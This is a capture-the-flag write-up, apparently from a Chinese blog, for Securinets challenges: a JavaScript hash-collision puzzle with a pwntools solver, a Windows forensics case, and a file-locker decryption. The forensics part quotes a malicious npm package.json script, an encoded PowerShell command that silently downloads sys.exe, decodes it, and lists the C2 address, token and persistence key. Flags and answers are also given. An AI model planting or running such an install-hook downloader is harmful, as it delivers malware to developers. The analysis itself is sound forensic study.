Misc
md7
Challenge
md5 and md6 didnt’t settle with me when i’m dealing with numbers , so I’m presenting to you my md7 hashing factory
const fs = require("fs");const readline = require("readline");const md5 = require("md5"); const rl = readline.createInterface({ input: process.stdin, output: process.stdout}); function askQuestion(query) { return new Promise(resolve => rl.question(query, resolve));} function normalize(numStr) { if (!/^\d+$/.test(numStr)) { return null; } return numStr.replace(/^0+/, "") || "0";} console.log("Welcome to our hashing factory ");console.log("let's see how much trouble you can cause"); function generateHash(input) { input = input .split("") .reverse() .map(d => ((parseInt(d, 10) + 1) % 10).toString()) .join(""); const prime1 = 31; const prime2 = 37; let hash = 0; let altHash = 0; for (let i = 0; i < input.length; i++) { hash = hash * prime1 + input.charCodeAt(i); altHash = altHash * prime2 + input.charCodeAt(input.length - 1 - i); } const factor = Math.abs(hash - altHash) % 1000 + 1; const normalized = +input; const modulator = (hash % factor) + (altHash % factor); const balancer = Math.floor(modulator / factor) * factor; return normalized + balancer % 1; } (async () => { try { const used = new Set(); for (let i = 0; i < 100; i++) { const input1 = await askQuestion(`(${i + 1}/100) Enter first number: `); const input2 = await askQuestion(`(${i + 1}/100) Enter second number: `); const numStr1 = normalize(input1.trim()); const numStr2 = normalize(input2.trim()); if (numStr1 === null || numStr2 === null) { console.log("Only digits are allowed."); process.exit(1); } if (numStr1 === numStr2) { console.log("Nope"); process.exit(1); } if (used.has(numStr1) || used.has(numStr2)) { console.log("😈"); process.exit(1); } used.add(numStr1); used.add(numStr2); const hash1 = generateHash(numStr1); const hash2 = generateHash(numStr2); if (md5(hash1.toString()) !== md5(hash2.toString())) { console.log(`⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣤⣾⠟⠷⣦⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⣀⣤⣤⣾⠿⢫⡤⠀⣄⢈⠛⠷⣄⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣤⡶⠛⠋⢡⣾⡿⣿⡴⠁⠀⠀⣿⣾⣿⡁⠈⠛⠶⣤⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣴⣦⣤⡀⠀⠀⠀⠀⢀⣤⡾⠟⠋⠐⠂⠸⠿⣿⣿⠿⠀⠩⠛⠀⠛⠻⣦⡅⠀⠀⠀⠀⠙⢧⡄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⣿⠌⠙⠷⣦⣴⡾⠟⡡⠴⠂⠀⠀⠀⠀⠀⠀⠙⠦⠴⣤⣄⡀⠛⠶⣽⣮⡀⠀⠀⠀⠀⠀⠻⡄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢹⣧⣰⢠⢞⡛⠉⠙⠋⠁⠀⠀⠀⠀⠀⠀⣀⡀⢄⡂⢰⡘⢿⢻⣤⢃⠄⡉⢻⡗⠀⠀⠀⠀⠀⢿⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠸⣿⣿⡇⣸⡇⠀⠀⠀⠀⠀⠀⠀⢀⡀⢾⣋⡝⣬⣟⣴⣫⣟⢾⣶⣿⣾⣤⣭⣿⠀⠀⠀⠀⠀⠘⣷⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢿⣿⣧⣿⡇⠀⠀⠀⠀⠀⠀⢠⣼⠏⣾⣿⣽⣿⣿⣿⣷⣿⣿⣿⣿⣿⣿⣿⣿⣷⣄⠀⠀⡀⡀⣽⣇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠘⣿⣿⣼⡧⠀⠀⠈⢀⣱⣘⣿⣿⣋⢿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣹⣿⣿⣿⣿⣤⠃⡜⢻⣟⣿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢹⣯⣽⡗⣌⣺⠡⣘⣾⣿⣿⣿⣯⣞⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣶⣹⣿⣿⣿⢧⣙⣔⣻⣿⣿⣿⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢈⣿⣿⣿⡹⢛⠶⣾⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡧⢌⠹⢹⣾⣿⢿⡇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⣿⠿⣷⣌⢺⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠐⢪⡐⣣⣿⣿⣿⠇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠠⣿⡿⠀⠉⣿⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣷⢉⣦⣍⣝⣿⣿⠏⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠐⣿⠁⢰⠀⠁⢘⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⡟⣩⠒⢢⢰⡘⣿⣿⡏⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣿⣦⠟⠀⠀⠈⢩⣾⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⣿⠱⠀⠈⠄⢂⣿⣿⣿⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠹⣿⡄⠀⠀⠀⠀⠀⠻⢿⣿⣿⣿⣿⡿⢟⣿⣿⣿⣿⢛⣿⣿⣿⡿⠉⠀⠀⠀⠀⢠⣸⣿⡏⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣴⡾⠟⠛⠛⠳⣶⣿⣟⢆⠀⠀⠀⠀⠀⠀⠙⣿⣿⣿⠱⣋⠔⡢⠑⣎⠣⣜⣶⠿⠃⠀⠀⠀⠀⠀⠠⠇⣿⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⣀⣠⣤⠤⣤⣤⣼⠏⠀⠀⠀⠀⠀⠀⠙⠿⣿⣷⣄⠀⠀⠀⠀⠀⠈⠹⣿⡆⡑⠈⠄⠑⠨⢹⣥⣲⡶⠀⠀⠀⠀⠀⠀⠀⠀⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣠⡴⢾⣿⡿⠟⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠐⠀⣿⣿⠀⠀⠀⠀⠀⠀⠀⠈⢿⣾⣅⠀⢈⠡⢩⣿⣿⣆⠀⠀⠀⠀⠀⠀⠀⠀⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⣀⣴⣾⡟⠋⠀⠀⠀⠀⠀⠀⠀⠀⠀⢠⣥⠀⠀⠀⠀⠀⠀⠀⠀⢀⣴⣿⢣⠀⠀⠀⢀⠀⠀⠀⢢⣾⣿⣿⣶⡼⢣⣽⣿⣻⡿⠀⠀⠀⠀⠀⠀⠀⠀⠈⢷⣄⠀⠀⠀⠀⠀⣤⡾⠋⠉⠀⠀⠹⠇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⣿⣷⢦⣄⣀⣠⣤⣴⣶⣿⣿⠟⠉⠀⠀⠀⠀⢳⡀⠀⢸⠟⢿⣿⣿⣿⣿⣿⣿⠟⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠉⠳⣄⠀⠀⠀⣿⠁⠀⠀⠀⠀⠈⠻⠦⠄⠀⠀⠀⠀⠀⠀⠀⠀⢿⣿⣿⣮⣭⣥⣶⣾⣿⠟⠁⠀⠀⠀⠀⠀⠀⠈⢷⣦⡀⢛⡾⣿⣿⣿⣿⢿⣭⡖⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⢳⣄⠀⣿⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢹⣟⡛⡟⢿⢻⣟⣿⣿⠔⠂⠀⠀⠀⠀⠀⠀⠀⠀⠸⣷⣾⡐⣿⣿⣿⣼⡿⡟⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠹⣆⣟⠀⠀⠀⠀⣠⡄⠀⠀⠀⠀⢻⡄⠀⠀⠀⠀⠀⢸⡯⢜⠩⢖⡩⡟⠙⢿⣆⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠉⢿⣷⣿⣿⡿⠟⠟⡁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡍⡇⠀⠀⠀⠀⣿⠇⠀⠀⠀⠀⢸⣇⠀⠀⠀⠀⠀⢸⣿⢎⡑⢮⣇⣇⠀⠀⢿⣷⣄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠩⠄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⡜⡇⠀⠀⠀⠀⢿⡇⠀⠀⠀⠀⢼⣯⠀⠀⠀⠀⠀⠘⣿⢦⣱⣾⣿⠋⠀⠀⠀⠹⣿⣷⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠠⡼⡿⠀⣀⠀⠀⢺⣇⠀⠀⠀⠀⣸⣿⡀⠀⠀⠀⣀⣼⠟⠛⠉⠉⠀⠀⠀⠀⠀⢀⣼⣿⣶⡀⠀⠤⢀⡤⣤⣙⡴⣀⢤⣄⠲⠤⢄⡀⣀⡀⢀⣀⣀⡀⠄⡀⡀⢀⡀⢀⠀⡄⢤⡈⣵⡐⣷⣀⠈⡄⢈⠽⣿⡀⠆⢀⡤⢸⣿⣷⣠⣠⣼⠟⠁⠀⢀⣤⡤⣤⣤⣤⢶⣩⣾⣿⣿⠼⣇⠀⡆⢦⡔⢦⢭⡹⣬⢏⠶⣭⣛⢮⡝⣧⣾⡱⢮⣱⣙⢦⡵⣩⡶⣜⣬⡳⣎⣧⣝⡶⣽⠟⠷⠿⠛⠾⠿⡿⢷⣯⣬⣵⣷⣾⣿⣯⣿⣷⣠⣤⣼⣩⣴⣦⣭⣴⣽⣿⣿⣟⣩⢃⡾⢀⢣⠼⣦⢽⣚⡶⣽⣎⣿⣻⢶⣯⣟⣾⣳⢯⣟⣯⣷⣻⢮⣽⣷⣻⡽⣾⡽⣽⢾⡽⣞⣷`); process.exit(1); } console.log("Correct!"); } console.log("\ngg , get your flag\n"); const flag = fs.readFileSync("flag.txt", "utf8"); console.log(flag); } finally { rl.close(); }})();Solution
本题要求与服务器进行100轮交互,每轮需要提供两个数字,服务器会使用一个给定的哈希函数对这两个数字进行校验,如果100轮校验全部通过就会返回flag
挑战的核心在于理解附件中提供的 generateHash 函数并找到一种方法来构造两个不同的输入使其产生相同的哈希值
function generateHash(input) { // Step 1: reverse digits and map d → (d+1)%10 input = input .split("") .reverse() .map(d => ((parseInt(d, 10) + 1) % 10).toString()) .join(""); const prime1 = 31; const prime2 = 37; let hash = 0; let altHash = 0; for (let i = 0; i < input.length; i++) { hash = hash * prime1 + input.charCodeAt(i); altHash = altHash * prime2 + input.charCodeAt(input.length - 1 - i); } const factor = Math.abs(hash - altHash) % 1000 + 1; const normalized = +input; // 转为数字 const modulator = (hash % factor) + (altHash % factor); const balancer = Math.floor(modulator / factor) * factor; return normalized + balancer % 1; }我们可以将这个函数分解为三个主要步骤来理解:
第一步:输入预处理
input = input .split("") .reverse() .map(d => ((parseInt(d, 10) + 1) % 10).toString()) .join("");这部分代码对输入的数字字符串进行了转换:
.split(""):将字符串分割成单个字符的数组,例如"199"变为['1', '9', '9'].reverse():翻转数组,例如['1', '9', '9']变为['9', '9', '1'].map(d => ...):对数组中的每个数字字符d执行一个转换操作:parseInt(d, 10):将字符转换为数字+ 1:加一% 10:对10取模- 这个操作实际上是一个简单的替换密码:
0→1,1→2, …,8→9,9→0
.join(""):将处理后的数组重新组合成一个字符串
第二步:哈希计算
const prime1 = 31;const prime2 = 37;let hash = 0;let altHash = 0; for (let i = 0; i < input.length; i++) { hash = hash * prime1 + input.charCodeAt(i); altHash = altHash * prime2 + input.charCodeAt(input.length - 1 - i);}这部分代码计算了两个多项式滚动哈希(Polynomial Rolling Hash),hash 是对预处理后的字符串进行正向哈希计算,而 altHash 是对其进行反向哈希计算
第三步:最终值计算与返回
const factor = Math.abs(hash - altHash) % 1000 + 1; const normalized = +input; // 转为数字const modulator = (hash % factor) + (altHash % factor); const balancer = Math.floor(modulator / factor) * factor;return normalized + balancer % 1; factor,modulator,balancer都是基于前面计算的hash和altHash生成的中间变量const normalized = +input;使用一元加号+将预处理后的字符串input转换成一个数字,这个转换会自动忽略字符串前导的零,例如字符串"0002"会被转换为数字2return normalized + balancer % 1;是函数的返回值,由于balancer是一个整数(Math.floor(...) * factor),所以balancer % 1的结果永远是0- 因此整个函数的返回值实际上就是
normalized,也就是预处理后的字符串去掉前导零并转换为数字的结果
结论: 函数的最终输出完全取决于第一步的预处理结果 generateHash(input) = Number(preprocess(input))
既然我们知道了函数的真实行为,我们的目标就变成了找到两个不同的输入 num1 和 num2,使得它们经过预处理后,转换成数字的结果相同
preprocess(input) 的关键在于两点:
- 翻转字符串
- 将每个数字
d替换为(d+1)%10(特别地,'9'会变成'0')
利用 '9' -> '0' 这个特性,我们可以在一个数字的末尾添加任意数量的 '9'
让我们比较 A 和 A + "999" (其中 A 是任意数字字符串)的哈希过程。
-
对于输入
A:- 预处理得到
transform(reverse(A))。 - 转换为数字得到
Number(transform(reverse(A)))。
- 预处理得到
-
对于输入
A + "999":reverse得到reverse("999") + reverse(A),即"999" + reverse(A)map转换:transform("999")得到"000"- 预处理后的字符串为
"000" + transform(reverse(A)) - 转换为数字:
Number("000" + transform(reverse(A))),由于Number()会忽略前导零,这个结果与Number(transform(reverse(A)))完全相同
结论: 对于任意数字字符串 A,generateHash(A) 和 generateHash(A + "999") 的结果永远是相同的,这就构成了一个完美的哈希碰撞
from pwn import * # Connect to serverr = remote("numbers.p2.securinets.tn", 7011) # Receive welcomeprint(r.recvuntil(b"cause").decode()) for i in range(100): # a = str(i+1), b = a + "999" a = str(i + 1) b = a + "999" print(f"[{i+1}/100] Sending {a} and {b}") r.recvuntil(f"({i+1}/100) Enter first number: ".encode()) r.sendline(a.encode()) r.recvuntil(f"({i+1}/100) Enter second number: ".encode()) r.sendline(b.encode()) # Read response resp = r.recvline().decode().strip() print(f"Response: {resp}") if "Correct!" not in resp: print("Failed!") break # Get flagflag = r.recvall(timeout=2).decode()print("FLAG:", flag)...[100/100] Sending 100 and 100999Response: Correct![x] Receiving all data[x] Receiving all data: 54B[+] Receiving all data: Done (54B)[*] Closed connection to numbers.p2.securinets.tn port 7011FLAG:gg , get your flagSecurinets{floats_in_js_xddddd}FLAG
Securinets{floats_in_js_xddddd}Forensics
Silent Visitor
Challenge
A user reported suspicious activity on their Windows workstation. Can you investigate the incident and uncover what really happened?
https://drive.google.com/file/d/1-usPB2Jk1J59SzW5T_2y46sG4fb9EeBk/view?usp=sharing
Solution
1
What is the SHA256 hash of the disk image provided?
用工具算一下就行
文件名称: test.ad1文件大小: 0.98 GB (1,062,506,312 字节)MD5: e9870e7237052f8877e232409daa4634SHA1: 436e99d31fdeda041ab8141430402396c8f892f9SHA256: 122b2b4bf1433341ba6e8fefd707379a98e6e9ca376340379ea42edb31a5dba2SHA512: dc431dda49e8a2169dfc38de9e335c7609027ad0fdb0d8adf3a87a17b7aaa7cae4924f17c52fd64d422a12f42b91395da2160d2c677f76f883b82758ea84e711CRC32: e6059fa3122b2b4bf1433341ba6e8fefd707379a98e6e9ca376340379ea42edb31a5dba2
2
Identify the OS build number of the victim’s system?

19045
3
What is the ip of the victim’s machine?

192.168.206.131
4
What is the name of the email application used by the victim?
找到目录 F:\C___NONAME [NTFS]\[root]\Program Files\Mozilla Thunderbird
Thunderbird
5
What is the email of the victim?

ammar55221133@gmail.com
6
What is the email of the attacker?

masmoudim522@gmail.com
7
What is the URL that the attacker used to deliver the malware to the victim?
run this 这封邮件内容如下:
Hey hey! Just pushed up the starter code here: 👉 https://github.com/lmdr7977/student-api You can just clone it and run npm install, then npm run dev to get it going. Should open on port 3000. I set up a couple of helpful scripts in there too, so feel free to tweak whatever. Lmk if anything’s broken 😅里面一个仓库地址 https://github.com/lmdr7977/student-api
在 student-api/package.json at main · lmdr7977/student-api 第 7 行找到恶意语句
powershell -NoLogo -NoProfile -WindowStyle Hidden -EncodedCommand \"JAB3ACAAPQAgACIASQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACIAOwAKACQAdQAgAD0AIAAiAGgAdAB0AHAAcwA6AC8ALwB0AG0AcABmAGkAbABlAHMALgBvAHIAZwAvAGQAbAAvADIAMwA4ADYAMAA3ADcAMwAvAHMAeQBzAC4AZQB4AGUAIgA7AAoAJABvACAAPQAgACIAJABlAG4AdgA6AEEAUABQAEQAQQBUAEEAXABzAHkAcwAuAGUAeABlACIAOwAKAEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgACQAdQAgAC0ATwB1AHQARgBpAGwAZQAgACQAbwA=\"改成 powershell -NoLogo -NoProfile -Command "[System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String('BASE64...'))" 运行得到下面的内容
$w = "Invoke-WebRequest";$u = "https://tmpfiles.org/dl/23860773/sys.exe";$o = "$env:APPDATA\sys.exe";Invoke-WebRequest $u -OutFile $ohttps://tmpfiles.org/dl/23860773/sys.exe
8
What is the SHA256 hash of the malware file?
在 Users\ammar\AppData\Roaming 找到 sys.exe
文件名称: sys.exe文件大小: 6.15 MB (6,450,688 字节)MD5: 3a10179d48eb4f25f36f581391faff26SHA1: 343140c487120beb5704aaf2bae89cd84daa44a6SHA256: be4f01b3d537b17c5ba7dc1bb7cd4078251364398565a0ca1e96982cff820b6dSHA512: 0784f3118b173ac449db68fd31b407ad3579a339506d4cb6e24ce10655aecfea24e69bcd1588c32d6c5e9907a597e96cee27ba9fbac965f7b16c2555b3721619CRC32: 92b65ddfbe4f01b3d537b17c5ba7dc1bb7cd4078251364398565a0ca1e96982cff820b6d
9
What is the IP address of the C2 server that the malware communicates with?
直接丢沙箱分析 奇安信情报沙箱

40.113.161.85
10
What port does the malware use to communicate with its Command & Control (C2) server?

5000
11
What is the url if the first Request made by the malware to the c2 server?
mcp 秒了(这题也许可以在虚拟机运行抓包进行流量分析,但是我刚把虚拟机打开就发现 mcp 跑出来了哈哈哈哈)

http://40.113.161.85:5000/helppppiscofebabe23
12
The malware created a file to identify itself. What is the content of that file?

在 F:\C___NONAME [NTFS]\[root]\Users\Public\Documents\id.txt
3649ba90-266f-48e1-960c-b908e1f28aef
13
Which registry key did the malware modify or add to maintain persistence?

HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\MyApp
14
What is the content of this registry?
同上题
C:\Users\ammar\Documents\sys.exe
15
The malware uses a secret token to communicate with the C2 server. What is the value of this key?
mcp 在之前逆向的过程中顺手秒了:
在 main.main 函数中,我们已经确认了C2服务器的基础URL是 http://40.113.161.85:5000。同时,在 main.main 函数的第188行,我注意到 ptr_1 = ptr; // "e7bcc0ba5fb1dc9cc09460baaa2a6986",并且在第219行,这个 ptr 被赋值给了 p_main_plant->Secret.ptr。这意味着 e7bcc0ba5fb1dc9cc09460baaa2a6986 是恶意软件的一个秘密字符串。
e7bcc0ba5fb1dc9cc09460baaa2a6986
FLAG
What is the SHA256 hash of the disk image provided?Input: 122b2b4bf1433341ba6e8fefd707379a98e6e9ca376340379ea42edb31a5dba2Correct answerIdentify the OS build number of the victim鈥檚 system?Input: 19045Correct answerWhat is the ip of the victim's machine?Input: 192.168.206.131Correct answerWhat is the name of the email application used by the victim?Input: ThunderbirdCorrect answerWhat is the email of the victim?Input: ammar55221133@gmail.comCorrect answerWhat is the email of the attacker?Input: masmoudim522@gmail.comCorrect answerWhat is the URL that the attacker used to deliver the malware to the victim?Input: https://tmpfiles.org/dl/23860773/sys.exeCorrect answerWhat is the SHA256 hash of the malware file?Input: be4f01b3d537b17c5ba7dc1bb7cd4078251364398565a0ca1e96982cff820b6dCorrect answerWhat is the IP address of the C2 server that the malware communicates with?Input: 40.113.161.85Correct answerWhat port does the malware use to communicate with its Command & Control (C2) server?Input: 5000Correct answerWhat is the url if the first Request made by the malware to the c2 server?Input: http://40.113.161.85:5000/helppppiscofebabe23Correct answerThe malware created a file to identify itself. What is the content of that file?Input: 3649ba90-266f-48e1-960c-b908e1f28aefCorrect answerWhich registry key did the malware modify or add to maintain persistence?Input: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\MyAppCorrect answerWhat is the content of this registry?Input: C:\Users\ammar\Documents\sys.exeCorrect answerThe malware uses a secret token to communicate with the C2 server. What is the value of this key?Input: e7bcc0ba5fb1dc9cc09460baaa2a6986Correct answerSahaaaaaaaaaaa Securinets{de2eef165b401a2d89e7df0f5522ab4f}by enigma522Securinets{de2eef165b401a2d89e7df0f5522ab4f}Lost File
Challenge
My friend told me to run this executable, but it turns out he just wanted to encrypt my precious file.
And to make things worse, I don’t even remember what password I used. 😥
Good thing I have this memory capture taken at a very convenient moment, right?
netorgft15219885-my.sharepoint.com/:u:/g/personal/fsaidi_intrinsic_security/EfLtokTYbq5PjzwHlOGDsK8BVlrHZY8CASz2VIkJXPewpQ?e=mm6bhs
mirror:
https://drive.google.com/file/d/1Vxd6M50—nzqK-9snaj1oujwK7va26Tx/view
Solution
查看进程列表发现可疑进程 cmd.exe (PID 2284),因为它的父进程 (PPID) 是 explorer.exe (PID 1512) ,即用户的桌面和文件管理器。当用户通过双击一个文件或者在“运行”中输入命令来启动一个程序时,这个新程序的父进程通常就是 explorer.exe,这很符合题目描述中的 “My friend told me to run this executable”,并且 cmd.exe 还是进程列表里最晚启动的一个进程

因此下一步就要用 consoles 恢复在命令行窗口里输入和输出的内容

发现用户在 C:\Documents and Settings\RagdollFan2005\Desktop 目录下给 locker_sim.exe 传了个参数 hmmisitreallyts
因此接下来要在磁盘镜像中找到这个程序:

发现在这个目录下还存在一个看起来像是被加密过的文件 to_encrypt.txt.enc,把它也一起导出来
把 locker_sim.exe 丢给 mcp 分析得出以下结论:
程序使用 Windows CryptoAPI 实现 AES-256-CBC 加密;密钥与 IV 由一个拼接字符串的 SHA-256 摘要派生。具体流程如下:
- 输入与环境收集
- 读取命令行参数 argv[1](作为口令/标识)。
- 从注册表读取本机计算机名,失败则用 “UNKNOWN_HOST”。
- 读取同目录下 “secret_part.txt” 内容后立即删除该文件。
- 目标明文文件为 “to_encrypt.txt”。
- 密钥派生
- 构造拼接字符串:payload = “<argv[1]>|<computer_name>|<secret_part>“(如果 secret_part 不存在则末尾 ’|’)。
- 对 payload 进行 SHA-256,得到 32 字节哈希 H。
- Key = H 的 32 字节。
- IV = H 的前 16 字节(通过把 H 的前 16 字节以栈连续内存传给 KP_IV)。
- 加密实现(aes256_encrypt_simple)
- CryptAcquireContextA(…, PROV_RSA_AES, CRYPT_VERIFYCONTEXT) 获取提供者。
- 以 PLAINTEXTKEYBLOB 格式构造密钥导入数据:
- bType = 8 (PLAINTEXTKEYBLOB), bVersion = 2, aiKeyAlg = 26128 (CALG_AES_256), dwKeyLen = 32, 后接 32 字节 Key。
- CryptImportKey 导入 AES-256 密钥。
- CryptSetKeyParam(KP_MODE, 1) 设置模式为 CBC。
- CryptSetKeyParam(KP_IV, IV) 设置 16 字节初始向量。
- 为输出分配 Size_1 + 32 空间,调用 CryptEncrypt(…, Final=true, …) 完成填充与加密。
- 默认填充为 PKCS#7(未显式设置 KP_PADDING,沿用默认)。
- 文件输出
- 将密文写回同目录 “to_encrypt.txt.enc”。
- 错误提示
- “SHA256 failed” 来自 sha256_buf 失败。
- “Encryption failed” 来自 aes256_encrypt_simple 失败。
- 找不到目标明文文件会提示并退出。
已通过反编译 main、sha256_buf、aes256_encrypt_simple 以及注册表读取和文件读取函数,结合 API 引用确认数据流、算法、模式与参数设置,逻辑已彻底厘清:AES-256-CBC,Key/IV 均由 SHA-256(argv[1]|computername|secret_part) 派生,IV 为摘要前 16 字节,填充为 PKCS#7。
然后接着让大模型生成对应的解密脚本:
#!/usr/bin/env python3# -*- coding: utf-8 -*-"""Decryptor for locker_sim.exe output (to_encrypt.txt.enc)Scheme reconstructed from reverse engineering:- payload = "password|computer_name|secret_part"- H = SHA256(payload bytes, UTF-8)- AES-256-CBC with: * key = H (32 bytes) * iv = H[:16]- Padding: PKCS#7Fill the parameters below and run the script.Dependencies: pip install pycryptodome""" import hashlibfrom typing import Optional try: from Crypto.Cipher import AES from Crypto.Util.Padding import unpadexcept ImportError: raise SystemExit("Missing dependency: pycryptodome. Install with: pip install pycryptodome") # ===== Fill these parameters =====PASSWORD: str = "" # 原程序的 argv[1],你的口令或标识COMPUTER_NAME: str = "" # 目标主机的计算机名(注册表读取的值,失败时程序使用 'UNKNOWN_HOST')SECRET_PART: str = "" # secret_part.txt 的内容;若未知则留空字符串INPUT_ENC_PATH: str = "to_encrypt.txt.enc" # 加密文件路径,如 'to_encrypt.txt.enc'OUTPUT_DEC_PATH: str = "to_encrypt.txt" # 解密输出路径,如 'to_encrypt.txt'# ================================ def derive_key_iv(password: str, computer_name: str, secret_part: str) -> tuple[bytes, bytes]: """ Replicates: payload = "%s|%s|%s" and SHA256 over the resulting C string bytes In C, empty secret_part still yields trailing '|'. """ payload = f"{password}|{computer_name}|{secret_part}" h = hashlib.sha256(payload.encode("utf-8")).digest() key = h iv = h[:16] return key, iv def read_file_bytes(path: str) -> bytes: with open(path, "rb") as f: return f.read() def write_file_bytes(path: str, data: bytes) -> None: with open(path, "wb") as f: f.write(data) def decrypt_file( input_path: str, output_path: str, password: str, computer_name: str, secret_part: str) -> Optional[str]: """ Decrypt input_path using derived key/iv and write plaintext to output_path. Returns None on success, or error message string on failure. """ if not input_path or not output_path: return "Please set INPUT_ENC_PATH and OUTPUT_DEC_PATH." # Basic sanity checks mirroring original behavior assumptions if password == "": return "PASSWORD is empty. Please fill it." if computer_name == "": return "COMPUTER_NAME is empty. Use the actual host name or 'UNKNOWN_HOST'." try: ciphertext = read_file_bytes(input_path) except Exception as e: return f"Failed to read input file: {e}" key, iv = derive_key_iv(password, computer_name, secret_part) try: cipher = AES.new(key, AES.MODE_CBC, iv) plaintext_padded = cipher.decrypt(ciphertext) plaintext = unpad(plaintext_padded, block_size=16, style="pkcs7") except ValueError as e: # Typically raised on bad padding -> wrong parameters or corrupt file return f"Decryption failed (padding/key/iv mismatch): {e}" except Exception as e: return f"Decryption error: {e}" try: write_file_bytes(output_path, plaintext) except Exception as e: return f"Failed to write output file: {e}" return None if __name__ == "__main__": err = decrypt_file(INPUT_ENC_PATH, OUTPUT_DEC_PATH, PASSWORD, COMPUTER_NAME, SECRET_PART) if err: print(err) else: print(f"Decryption succeeded. Output written to: {OUTPUT_DEC_PATH}")第 1 个参数在前面找到了,是 hmmisitreallyts
接下来要寻找计算机名,由于在内存镜像中没找到,因此直接去磁盘镜像读注册表
在 HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\ComputerName\ComputerName 找到计算机名 RAGDOLLF-F9AC5A

